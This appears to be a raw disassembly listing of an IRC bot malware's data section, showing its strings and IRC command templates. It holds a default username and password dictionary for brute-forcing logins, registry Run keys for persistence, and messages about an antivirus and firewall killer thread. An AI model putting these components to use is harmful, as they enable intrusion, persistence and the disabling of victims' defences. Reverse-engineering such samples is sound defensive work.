sub_401000+Bo align 4 aL4m3r db '[l4m3r]',0 ; DATA XREF: .XPack0:0040A9FCo aWansys_dat db 'wansys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401AA1+7C26o align 4 asc_42AAA4 db '#l',0 ; DATA XREF: sub_401AA1+1E47o ; sub_401AA1+1E58o ... align 4 aLog_0 db '#LOG#',0 ; DATA XREF: sub_401AA1+7212o ; sub_401AA1+7267o align 10h aSniff db '#sniff#',0 ; DATA XREF: sub_401AA1+40D2o ; sub_401AA1+421Eo off_42AAB8 dd offset a@_0 ; DATA XREF: sub_401AA1+7B7Dr ; "*@*" off_42AABC dd offset aMircV6_16Khale ; DATA XREF: sub_401AA1+86Er ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" byte_42AACC db 53h ; DATA XREF: .XPack0:off_42A054o aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A4EB+28o ; sub_41A811+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A4EB+D4o ; sub_41A811+D4o align 4 dd 2 dup(1), 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 10h dd offset byte_4404C4 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_42AE00 dd 10h ; sub_401AA1+AD3r ... aIntranet db 'intranet',0 ; DATA XREF: .XPack0:0040E6BEo ; .XPack0:0042ADECo align 10h aLan db 'lan',0 ; DATA XREF: .XPack0:0040E6B4o ; .XPack0:0042ADE4o aMain db 'main',0 ; DATA XREF: .XPack0:0040E6ADo ; .XPack0:0042ADE0o align 4 aWinpass db 'winpass',0 ; DATA XREF: .XPack0:0040E6A6o ; .XPack0:0042ADDCo aBlank db 'blank',0 ; DATA XREF: .XPack0:0040E69Fo ; .XPack0:0042ADD8o align 4 aOffice db 'office',0 ; DATA XREF: .XPack0:0040E698o ; .XPack0:0042ADD4o align 4 aControl db 'control',0 ; DATA XREF: .XPack0:0040E691o ; .XPack0:0042ADD0o aXp db 'xp',0 ; DATA XREF: .XPack0:0040E68Ao ; .XPack0:0042ADCCo align 10h aNokia db 'nokia',0 ; DATA XREF: .XPack0:0040E683o ; .XPack0:0042ADC8o align 4 aHp db 'hp',0 ; DATA XREF: .XPack0:0040E67Co ; .XPack0:0042ADC4o align 4 aSiemens db 'siemens',0 ; DATA XREF: .XPack0:0040E675o ; .XPack0:0042ADC0o aCompaq db 'compaq',0 ; DATA XREF: .XPack0:0040E66Eo ; .XPack0:0042ADBCo align 4 aDell db 'dell',0 ; DATA XREF: .XPack0:0040E667o ; .XPack0:0042ADB8o align 4 aCisco db 'cisco',0 ; DATA XREF: .XPack0:0040E660o ; .XPack0:0042ADB4o align 4 aIbm db 'ibm',0 ; DATA XREF: .XPack0:0040E656o ; .XPack0:0042ADB0o aOrainstall db 'orainstall',0 ; DATA XREF: .XPack0:0040E642o ; .XPack0:0042ADA8o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .XPack0:0040E638o ; .XPack0:0042ADA4o align 10h aSql db 'sql',0 ; DATA XREF: .XPack0:0040E62Eo ; .XPack0:0042ADA0o aSa db 'sa',0 ; DATA XREF: sub_401AA1+1B56o ; .XPack0:0040E199o ... align 4 aDb1234 db 'db1234',0 ; DATA XREF: .XPack0:0040E61Eo ; .XPack0:0042AD98o align 10h aDb1 db 'db1',0 ; DATA XREF: .XPack0:0040E60Ao ; .XPack0:0042AD90o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .XPack0:0040E600o ; .XPack0:0042AD8Co align 4 aData db 'data',0 ; DATA XREF: .XPack0:0040E5F6o ; .XPack0:0042AD88o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: .XPack0:0040E5ECo ; .XPack0:0042AD84o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: .XPack0:0040E5E2o ; .XPack0:0042AD80o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .XPack0:0040E5D8o ; .XPack0:0042AD7Co align 4 aAccess db 'access',0 ; DATA XREF: .XPack0:0040E5CEo ; .XPack0:0042AD78o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .XPack0:0040E5BAo ; .XPack0:0042AD70o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .XPack0:0040E5B0o ; .XPack0:0042AD6Co align 4 aDomain db 'domain',0 ; DATA XREF: .XPack0:0040E5A6o ; .XPack0:0042AD68o align 10h aHello db 'hello',0 ; DATA XREF: .XPack0:0040E59Co ; .XPack0:0042AD64o align 4 aHell db 'hell',0 ; DATA XREF: .XPack0:0040E592o ; .XPack0:0042AD60o align 10h aGod db 'god',0 ; DATA XREF: .XPack0:0040E588o ; .XPack0:0042AD5Co aSex db 'sex',0 ; DATA XREF: .XPack0:0040E57Eo ; .XPack0:0042AD58o ... aSlut db 'slut',0 ; DATA XREF: .XPack0:0040E574o ; .XPack0:0042AD54o align 10h aBitch db 'bitch',0 ; DATA XREF: .XPack0:0040E56Ao ; .XPack0:0042AD50o align 4 aFuck db 'fuck',0 ; DATA XREF: .XPack0:0040E560o ; .XPack0:0042AD4Co align 10h aExchange db 'exchange',0 ; DATA XREF: .XPack0:0040E556o ; .XPack0:0042AD48o align 4 aBackup db 'backup',0 ; DATA XREF: .XPack0:0040E54Co ; .XPack0:0042AD44o align 4 aTechnical db 'technical',0 ; DATA XREF: .XPack0:0040E542o ; .XPack0:0042AD40o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .XPack0:0040E538o ; .XPack0:0042AD3Co align 4 aLogin db 'login',0 ; DATA XREF: .XPack0:0040E52Eo ; .XPack0:0042AD38o align 4 aMary db 'mary',0 ; DATA XREF: .XPack0:0040E524o ; .XPack0:0042AD34o align 4 aKatie db 'katie',0 ; DATA XREF: .XPack0:0040E51Ao ; .XPack0:0042AD30o align 4 aKate db 'kate',0 ; DATA XREF: .XPack0:0040E50Ao ; .XPack0:0042AD28o align 4 aGeorge db 'george',0 ; DATA XREF: .XPack0:0040E500o ; .XPack0:0042AD24o align 4 aEric db 'eric',0 ; DATA XREF: .XPack0:0040E4F6o ; .XPack0:0042AD20o align 4 aChris db 'chris',0 ; DATA XREF: .XPack0:0040E4ECo ; .XPack0:0042AD1Co align 4 aIan db 'ian',0 ; DATA XREF: .XPack0:0040E4E2o ; .XPack0:0042AD18o aNeil db 'neil',0 ; DATA XREF: .XPack0:0040E4D8o ; .XPack0:0042AD14o align 10h aLee db 'lee',0 ; DATA XREF: .XPack0:0040E4CEo ; .XPack0:0042AD10o aBrian db 'brian',0 ; DATA XREF: .XPack0:0040E4C4o ; .XPack0:0042AD0Co align 4 aSusan db 'susan',0 ; DATA XREF: .XPack0:0040E4B4o ; .XPack0:0042AD04o align 4 aSue db 'sue',0 ; DATA XREF: .XPack0:0040E4AAo ; .XPack0:0042AD00o aSam db 'sam',0 ; DATA XREF: .XPack0:0040E4A0o ; .XPack0:0042ACFCo aLuke db 'luke',0 ; DATA XREF: .XPack0:0040E496o ; .XPack0:0042ACF8o align 4 aPeter db 'peter',0 ; DATA XREF: .XPack0:0040E435o ; .XPack0:0042ACF4o ... align 4 aJohn db 'john',0 ; DATA XREF: .XPack0:0040E486o ; .XPack0:0042ACF0o align 4 aMike db 'mike',0 ; DATA XREF: .XPack0:0040E47Co ; .XPack0:0042ACECo align 4 aBill db 'bill',0 ; DATA XREF: .XPack0:0040E472o ; .XPack0:0042ACE8o align 4 aFred db 'fred',0 ; DATA XREF: .XPack0:0040E468o ; .XPack0:0042ACE4o align 4 aJoe db 'joe',0 ; DATA XREF: .XPack0:0040E45Eo ; .XPack0:0042ACE0o aJen db 'jen',0 ; DATA XREF: .XPack0:0040E454o ; .XPack0:0042ACDCo aBob db 'bob',0 ; DATA XREF: .XPack0:0040E430o ; .XPack0:0042ACD8o ... aQwe db 'qwe',0 ; DATA XREF: .XPack0:0040E444o ; .XPack0:0042ACD4o aZxc db 'zxc',0 ; DATA XREF: .XPack0:0040E43Ao ; .XPack0:0042ACD0o aAsd db 'asd',0 ; DATA XREF: .XPack0:0040E426o ; .XPack0:0042ACCCo aQaz db 'qaz',0 ; DATA XREF: .XPack0:0040E41Co ; .XPack0:0042ACC8o aWin2000 db 'win2000',0 ; DATA XREF: .XPack0:0040E412o ; .XPack0:0042ACC4o aWinnt db 'winnt',0 ; DATA XREF: .XPack0:0040E408o ; .XPack0:0042ACC0o align 4 aWinxp db 'winxp',0 ; DATA XREF: .XPack0:0040E3FEo ; .XPack0:0042ACBCo align 10h aWin2k db 'win2k',0 ; DATA XREF: .XPack0:0040E3F4o ; .XPack0:0042ACB8o align 4 aWin98 db 'win98',0 ; DATA XREF: .XPack0:0040E3EAo ; .XPack0:0042ACB4o align 10h aWindows db 'windows',0 ; DATA XREF: .XPack0:0040E3E0o ; .XPack0:0042ACB0o aOeminstall db 'oeminstall',0 ; DATA XREF: .XPack0:0040E3D6o ; .XPack0:0042ACACo align 4 aOemuser db 'oemuser',0 ; DATA XREF: .XPack0:0040E3CCo ; .XPack0:0042ACA8o aOem db 'oem',0 ; DATA XREF: .XPack0:0040E3C2o ; .XPack0:0042ACA4o aUser db 'user',0 ; DATA XREF: sub_401AA1+45E3o ; .XPack0:0040E3B8o ... align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .XPack0:0040E3AEo ; .XPack0:0042AC9Co align 4 aHome db 'home',0 ; DATA XREF: .XPack0:0040E3A4o ; .XPack0:0042AC98o align 4 aAccounting db 'accounting',0 ; DATA XREF: .XPack0:0040E39Ao ; .XPack0:0042AC94o align 4 aAccounts db 'accounts',0 ; DATA XREF: .XPack0:0040E390o ; .XPack0:0042AC90o align 4 aInternet db 'internet',0 ; DATA XREF: .XPack0:0040E1AFo ; .XPack0:0042AC8Co ... align 10h aWww db 'www',0 ; DATA XREF: .XPack0:0040E380o ; .XPack0:0042AC88o aWeb db 'web',0 ; DATA XREF: sub_401AA1+71E1o ; .XPack0:0040E376o ... aOutlook db 'outlook',0 ; DATA XREF: .XPack0:0040E36Co ; .XPack0:0042AC80o aMail db 'mail',0 ; DATA XREF: .XPack0:0040E362o ; .XPack0:0042AC7Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .XPack0:0040E358o ; .XPack0:0042AC78o align 10h aNull db 'null',0 ; DATA XREF: .XPack0:0040E34Eo ; .XPack0:0042AC74o align 4 aServer db 'server',0 ; DATA XREF: sub_401AA1+3E73o ; .XPack0:0040E33Eo ... align 10h aSystem db 'system',0 ; DATA XREF: .XPack0:0040E334o ; .XPack0:0042AC68o align 4 aChangeme db 'changeme',0 ; DATA XREF: .XPack0:0040E320o ; .XPack0:0042AC60o align 4 aLinux db 'linux',0 ; DATA XREF: .XPack0:0040E316o ; .XPack0:0042AC5Co align 4 aUnix db 'unix',0 ; DATA XREF: .XPack0:0040E30Co ; .XPack0:0042AC58o align 4 aDemo db 'demo',0 ; DATA XREF: .XPack0:0040E302o ; .XPack0:0042AC54o align 4 aNone db 'none',0 ; DATA XREF: .XPack0:0040E2F8o ; .XPack0:0042AC50o align 4 aTest db 'test',0 ; DATA XREF: .XPack0:0040E2E4o ; .XPack0:0042AC48o align 4 a2004 db '2004',0 ; DATA XREF: .XPack0:0040E2DAo ; .XPack0:0042AC44o align 4 a2003 db '2003',0 ; DATA XREF: .XPack0:0040E2D0o ; sub_41B0A1+BAo ... align 4 a2002 db '2002',0 ; DATA XREF: .XPack0:0040E2C6o ; .XPack0:0042AC3Co align 4 a2001 db '2001',0 ; DATA XREF: .XPack0:0040E2BCo ; .XPack0:0042AC38o align 4 a2000 db '2000',0 ; DATA XREF: .XPack0:0040E2B2o ; .XPack0:0042AC34o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .XPack0:0040E2A8o ; .XPack0:0042AC30o align 10h a123456789 db '123456789',0 ; DATA XREF: .XPack0:0040E29Eo ; .XPack0:0042AC2Co align 4 a12345678 db '12345678',0 ; DATA XREF: .XPack0:0040E294o ; .XPack0:0042AC28o align 4 a1234567 db '1234567',0 ; DATA XREF: .XPack0:0040E28Ao ; .XPack0:0042AC24o a123456 db '123456',0 ; DATA XREF: .XPack0:0040E280o ; .XPack0:0042AC20o align 4 a12345 db '12345',0 ; DATA XREF: .XPack0:0040E276o ; .XPack0:0042AC1Co align 10h a1234 db '1234',0 ; DATA XREF: .XPack0:0040E26Co ; .XPack0:0042AC18o align 4 a123 db '123',0 ; DATA XREF: .XPack0:0040E262o ; .XPack0:0042AC14o a12 db '12',0 ; DATA XREF: .XPack0:0040E258o ; .XPack0:0042AC10o align 10h a1: ; DATA XREF: .XPack0:0040AE67o ; .XPack0:0040E24Eo ... unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .XPack0:0040E244o ; .XPack0:0042AC08o aPwd db 'pwd',0 ; DATA XREF: .XPack0:0040E23Ao ; .XPack0:0042AC04o aPass db 'pass',0 ; DATA XREF: .XPack0:0040E230o ; .XPack0:0042AC00o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .XPack0:0040E226o ; .XPack0:0042ABFCo align 10h aPasswd db 'passwd',0 ; DATA XREF: .XPack0:0040E21Co ; .XPack0:0042ABF8o align 4 aPassword db 'password',0 ; DATA XREF: .XPack0:0040E212o ; .XPack0:0042ABF4o align 4 aPassword1 db 'password1',0 ; DATA XREF: .XPack0:0040E208o ; .XPack0:0042ABF0o align 10h aAdm db 'adm',0 ; DATA XREF: .XPack0:0040E1FEo ; .XPack0:0042ABECo aDb2 db 'db2',0 ; DATA XREF: .XPack0:0040E614o ; .XPack0:0042ABC8o ... aOracle db 'oracle',0 ; DATA XREF: .XPack0:0040E64Co ; .XPack0:0042ABC4o ... align 10h aDba db 'dba',0 ; DATA XREF: .XPack0:0042ABC0o aDatabase db 'database',0 ; DATA XREF: .XPack0:0040E5C4o ; .XPack0:0042ABBCo ... align 10h aDefault db 'default',0 ; DATA XREF: .XPack0:0040E32Ao ; .XPack0:0042ABB8o ... aGuest db 'guest',0 ; DATA XREF: .XPack0:0040E2EEo ; .XPack0:0042ABB4o ... align 10h aWwwadmin db 'wwwadmin',0 ; DATA XREF: .XPack0:0042ABB0o align 4 aTeacher db 'teacher',0 ; DATA XREF: .XPack0:0040E6CCo ; .XPack0:0042ABACo ... aStudent db 'student',0 ; DATA XREF: .XPack0:0040E6C5o ; .XPack0:0042ABA8o ... aOwner db 'owner',0 ; DATA XREF: .XPack0:0042ABA4o align 4 aComputer db 'computer',0 ; DATA XREF: .XPack0:0042ABA0o align 10h aRoot db 'root',0 ; DATA XREF: .XPack0:0040E19Eo ; .XPack0:0042AB9Co ... align 4 aStaff db 'staff',0 ; DATA XREF: .XPack0:0040E6D3o ; .XPack0:0042AB98o ... align 10h aAdmin db 'admin',0 ; DATA XREF: .XPack0:0040E1A3o ; .XPack0:0042AB94o ... align 4 aAdmins db 'admins',0 ; DATA XREF: .XPack0:0040E1EEo ; .XPack0:0042AB90o ... align 10h aAdministrat db 'administrat',0 ; DATA XREF: .XPack0:0040E1E4o ; .XPack0:0042AB8Co ... aAdministrateur db 'administrateur',0 ; DATA XREF: .XPack0:0040E1DAo ; .XPack0:0042AB88o ... align 4 aAdministrador db 'administrador',0 ; DATA XREF: .XPack0:0040E1D0o ; .XPack0:0042AB84o ... align 4 aAdministrator db 'administrator',0 ; DATA XREF: .XPack0:0040E1C6o ; .XPack0:0042AB80o ... align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC8o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC4o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC0o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:off_42AABCo align 4 a@_0 db '*@*',0 ; DATA XREF: .XPack0:off_42AAB8o unk_42B300 db 3 ; DATA XREF: sub_40121E+456o db 31h, 35h, 2Ch db 30h ; 0 db 5Bh, 2, 3 db 30h ; 0 db 34h, 91h, 3 db 30h ; 0 db 31h, 2, 1Fh db 69h ; i db 1Fh, 2, 64h db 2 db 65h, 2, 6Eh db 2 db 74h, 2, 64h db 2 db 3, 30h, 34h db 2Ch ; , db 3, 31h, 35h db 5Dh ; ] db 3, 34h, 20h aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 10h unk_42B350 db 3 ; DATA XREF: sub_40121E+40Bo db 31h, 35h, 2Ch db 30h ; 0 db 5Bh, 2, 3 db 30h ; 0 db 34h, 91h, 3 db 30h ; 0 db 31h, 2, 1Fh db 69h ; i db 1Fh, 2, 64h db 2 db 65h, 2, 6Eh db 2 db 74h, 2, 64h db 2 db 3, 30h, 34h db 2Ch ; , db 3, 31h, 35h db 5Dh ; ] db 3, 34h, 20h aServerRunningO db 'Server running on Port: 113.',0 align 4 unk_42B398 db 2 ; DATA XREF: sub_40121E+3DEo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 30h, 31h, 2 db 1Fh db 50h, 1Fh, 2 db 72h ; r db 2, 6Fh, 2 db 63h ; c db 2, 73h, 2 db 3 db 30h, 34h, 2Ch db 3 db 31h, 35h, 5Dh db 3 a4FailedToStart db '4 Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_42B3F4 db 2 ; DATA XREF: sub_40121E+38Do db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 30h, 31h, 2 db 1Fh db 50h, 1Fh, 2 db 72h ; r db 2, 6Fh, 2 db 63h ; c db 2, 73h, 2 db 3 db 30h, 34h, 2Ch db 3 db 31h, 35h, 5Dh db 3 a4AvFwKillerAct db '4 AV/FW Killer active.',0 dword_42B430 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6961024Dh ; DATA XREF: sub_40121E+352o dd 3026E02h, 32C3130h, 33A3431h, 42022031h, 20746F02h dd 74025302h, 65747261h, 2E64h dword_42B464 dd 25207325h, 25222064h, 2273hdword_42B470 dd 255C7325h, 73h ; sub_417358+45o dword_42B478 dd 73257325h, 0 ; sub_410370+E9o ... dword_42B480 dd 31030220h, 5B302C35h, 31300302h, 34300391h, 6F024302h ; DATA XREF: sub_4017BF+F2o dd 6E026E02h, 1F631F65h, 3646574h, 32C3130h, 33A3431h dd 54022031h, 1F6F1F02h, 20343003h, 2E7325h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401925+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401925+35o align 10h aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7C2Eo align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7C19o align 10h dword_42B500 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+7C05o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h dd 7325203Ah, 6F026C20h, 65676702h, 6E692064h, 2Eh dword_42B540 dd 1F353103h, 34031F28h, 313003B7h, 361026Ch, 26D3430h ; DATA XREF: sub_401AA1+7BE8o dd 65313003h, 3027202h, 3103B734h, 1F291F35h, 2340320h dd 2610250h, 731F0273h, 277021Fh, 272026Fh, 41022064h dd 63026302h, 1F651F02h, 74027002h, 64026502h, 2Eh dword_42B590 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+7B63o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1FailedPassAut db '1 *Failed Pass Auth By: (%s!%s).',0 align 4 dword_42B5D8 dd 49544F4Eh, 25204543h, 23A2073h, 756F0259h, 41022072h ; DATA XREF: sub_401AA1+7B4Eo dd 65747402h, 2074706Dh, 61024802h, 1F622073h, 65021F65h dd 6C206E02h, 671F6F1Fh, 2E646567h, 0A0Dh dword_42B610 dd 49544F4Eh, 25204543h, 33A2073h, 2680231h, 21F551Fh ; DATA XREF: sub_401AA1+7B3Ao dd 2200268h, 1F720257h, 676E1F6Fh, 73252820h, 29732521h dd 0A0D2Eh dword_42B63C dd 7Eh dword_42B640 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+7AB9o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1RandomNickCha db '1 Random nick change: %s',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_401AA1+7A51o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Dh ; M db 2, 1Fh, 61h db 1Fh db 2, 69h, 2 db 6Eh ; n db 2 dup(2), 3 db 30h ; 0 db 31h, 2Ch, 3 db 31h ; 1 db 34h, 3Ah, 3 db 31h ; 1 db 20h, 2, 52h db 2 aEconnectingInS db 'econnecting in %s seconds',0 align 4 unk_42B6C4 db 2 ; DATA XREF: sub_401AA1+7A0Fo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Dh ; M db 2, 1Fh, 61h db 1Fh db 2, 69h, 2 db 6Eh ; n db 2 dup(2), 3 db 30h ; 0 db 31h, 2Ch, 3 db 31h ; 1 db 34h, 3Ah, 3 db 31h ; 1 db 20h, 2, 52h db 2 aEconnectingI_0 db 'econnecting in %s ms',0 align 4 dword_42B704 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+79F1o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1NickChangedTo db '1 Nick changed to: ',27h,'%s',27h,'.',0 align 8 dword_42B748 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+79D8o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4A022031h, 6E696F02h dd 2206465h, 61680243h, 6C656E6Eh, 2034033Ah, 27732527h dd 2Eh, 0 dword_42B790 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+79B8o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 50022031h, 74726102h dd 2206465h, 61680243h, 6C656E6Eh, 2034033Ah, 27732527h dd 2Eh dword_42B7D4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+799Fo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 2492031h, 20430252h dd 2610252h, 34033A77h, 2E732520h, 0 dword_42B810 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2680254h ; DATA XREF: sub_401AA1:loc_4093CCo dd 2650272h, 2640261h, 31300373h, 3531032Ch, 2031035Dh dd 69610246h, 2064656Ch, 2206F74h, 6C69024Bh, 5402206Ch dd 65726802h, 33A6461h, 73252034h, 2Eh, 0 dword_42B860 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2680254h ; DATA XREF: sub_401AA1+7924o dd 2650272h, 2640261h, 31300373h, 3531032Ch, 2031035Dh dd 6C69024Bh, 2656C02h, 2742064h, 2657268h, 33A6461h, 73252034h dd 2Eh, 0 unk_42B8A8 db 2 ; DATA XREF: sub_401AA1:loc_409388o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 30h, 31h, 2 db 54h ; T db 2, 68h, 2 db 72h ; r db 2, 65h, 2 db 61h ; a db 2, 64h, 2 db 73h ; s db 3, 30h, 34h db 2Ch ; , db 3, 31h, 35h db 5Dh ; ] db 3, 34h, 20h aNoActiveThread db 'No active threads found.',0 align 10h dword_42B8F0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 2680254h ; DATA XREF: sub_401AA1+78DDo dd 2650272h, 2640261h, 34300373h, 3531032Ch, 2034035Dh dd 706F7453h, 3A646570h, 25203103h, 34032064h, 65726874h dd 73286461h, 2E29h dword_42B934 dd 6C6C61h dword_42B938 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+77C2o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 72502031h, 78696665h dd 61686320h, 6465676Eh, 3A6F7420h, 27203403h, 2E276325h dd 2 dup(0) dword_42B980 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 65680253h ; DATA XREF: sub_401AA1:loc_40924Eo dd 6C026C02h, 2C313003h, 5D353103h, 2203103h, 756F0243h dd 276E646Ch, 4F022074h, 6E657002h, 2460220h, 3A656C69h dd 25203403h, 73h dword_42B9C4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 65680253h ; DATA XREF: 